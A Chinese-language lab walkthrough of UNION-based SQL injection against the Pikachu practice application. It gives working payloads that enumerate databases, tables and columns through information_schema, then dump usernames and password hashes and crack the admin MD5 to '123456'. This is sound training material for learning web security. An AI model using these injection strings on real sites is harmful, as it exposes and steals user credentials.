通过information_schema拿下数据库案例-字符型
数据库information_schema数据库中存在很多重要信息,包括所有的表名,库名,列名等等

TABLES表名的对应字段信息

COLUMNS对应的字段信息

测试开始,还是用字符型为案例
我进行随意输入一个单引号,进行查询,返回报错sql语句错误等,证明输入的信息被后台执行了

随意输入一个payload语句,发现爆出两个字段:id和email

进行反复测试有多少个列,发现存在2列,可以使用union语句进行测试

使用联合语句payload进行测试
kobe' union select version(),database() #
发现爆出当前数据以及版本信息

查询后台pikachu数据库中的所有表
select id,email from member where username = 'kobe' union select table_schema,table_name from information_schema.tables where table_schema = 'pikachu';
查询结果如下

通过上面的sql语句以及和暴漏出来的库名“pikachu”进行编写payload语句
kobe' union select table_schema,table_name from information_schema.tables where table_schema = 'pikachu'#
发现将pikachu库中所有的表都已经暴漏出来,发现有一个users表比较敏感信息,可以利用

查询后台users表中的字段
select id,email from member where username = 'kobe' union select table_name,column_name from information_schema.columns where table_name = 'users';
查询结果

根据上面的sql语句进行编写payload进行测试是否可以查出来对应的高级权限的用户和密码
kobe' union select table_name,column_name from information_schema.columns where table_name = 'users'#
发现users表中暴漏出字段用户名和密码

后台查询语句
select id,email from member where username = 'kobe' union select username,password from users;
查询结果

通过被爆出来的库名pikachu,还有字段username,password,进行编写payload语句进行测试
kobe' union select username,password from users#
发现了admin用户和解密的密码

通过md5解密,获取高级权限用户密码,admin/123456

成功拿下数据权限










